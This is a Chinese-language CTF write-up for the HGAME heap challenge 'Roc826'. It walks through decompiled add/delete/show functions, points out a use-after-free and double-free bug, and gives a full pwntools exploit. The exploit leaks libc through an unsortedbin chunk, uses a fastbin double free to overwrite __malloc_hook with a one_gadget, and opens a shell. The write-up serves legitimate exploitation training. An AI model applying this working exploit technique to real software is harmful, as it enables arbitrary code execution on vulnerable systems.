0%

Roc826

hgame的一道题

0x0 前置技能

unsortedbin里面的chunk的fd和bk的值和libc有关.
大于0x80的chunk被free后会被回收到unsortedbin中, 需要注意的是, 需要malloc(0x90), malloc(0x10), 然后再free 0x90, 否则的话, 大小为0x90的chunk会被直接回收到Top chunk中.

0x1 源代码分析

支持add, dele, show三个功能.
add功能函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 add()
{
signed int i; // [rsp+8h] [rbp-8h]
signed int v2; // [rsp+Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
if ( i > 19 )
{
puts("full!");
return 0LL;
}
if ( !list[i] )
break;
}
puts("size?");
v2 = readi();
if ( v2 < 0 || v2 > 144 )
{
puts("Invalid size!");
exit(0);
}
list[i] = (char *)malloc(v2);
printf("content:");
read_n((__int64)list[i], v2);
puts("done!");
return 0LL;
}

先读入一个Size, 然后读入content, list[i]是malloc出来的内存的首地址.
Dele 函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 dele()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("index?");
v1 = readi();
if ( list[v1] )
{
free(list[v1]);
puts("done!");
}
else
{
puts("Invalid index!");
}
return 0LL;
}

可以看到, 存在double free 和uaf漏洞, 这两个漏洞加起来可以实现任意地址写.
show函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 show()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("index?");
v1 = readi();
if ( list[v1] )
{
printf("content:");
puts(list[v1]);
}
else
{
puts("Invalid index!");
}
return 0LL;
}

0x2 利用

UAF&double free实现任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
// (x86-64)
char * a = malloc(0x20);
char * b = malloc(0x20);
free(a);
free(b);
free(a);
char * c = malloc(0x20);
c[0] = (char*)&Addr_var - 0x8;
Addr_var = 0x20;
malloc(0x20);
malloc(0x20);
char * d = malloc(0x20); // d = &Addr_var + 0x8

这道题利用任意地址写, 将mallochook改成想要的值就可以攻击.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

sh = process('./Roc826')
# context.log_level = 'debug'
# gdb.attach(sh)

elf = ELF('./Roc826')

def Write(Until, Text):
sh.recvuntil(Until)
sh.send(Text)
sleep(0.1)

def Add(Size, Text):
Write(':', '1\n')
Write('size?\n', str(Size) + '\n')
Write('content:', Text)

def Dele(Id):
Write(':', '2\n')
Write('index?\n', str(Id) + '\n')

def Show(Id):
Write(':', '3\n')
Write('index?\n', str(Id) + '\n')

Add(0x90, 'a\n') # 0
Add(0x10, 'b\n') # 1
Dele(0)
Show(0)
sh.recvuntil('content:')
libcbase = u64(sh.recvuntil('\x0a')[0:-1].ljust(8, '\x00')) - 0x3c4b78
log.success('libcbase: ' + hex(libcbase))

malloc_hook = 0x3c4b10 + libcbase
log.success('__malloc_hook: ' + hex(malloc_hook))

Add(0x60, 'a\n') # 2
Add(0x60, 'b\n') # 3
Dele(2)
Dele(3)
Dele(2)
Add(0x60, p64(malloc_hook - 0x23) + '\n')
Add(0x60, 'b\n')
Add(0x60, 'c\n')
Add(0x60, 'a' * 0x13 + p64(libcbase + 0xf1147) + '\n')

Write('4.exit\n:', '1\n')
Write('size?\n', str(0x60) + '\n')

sh.interactive()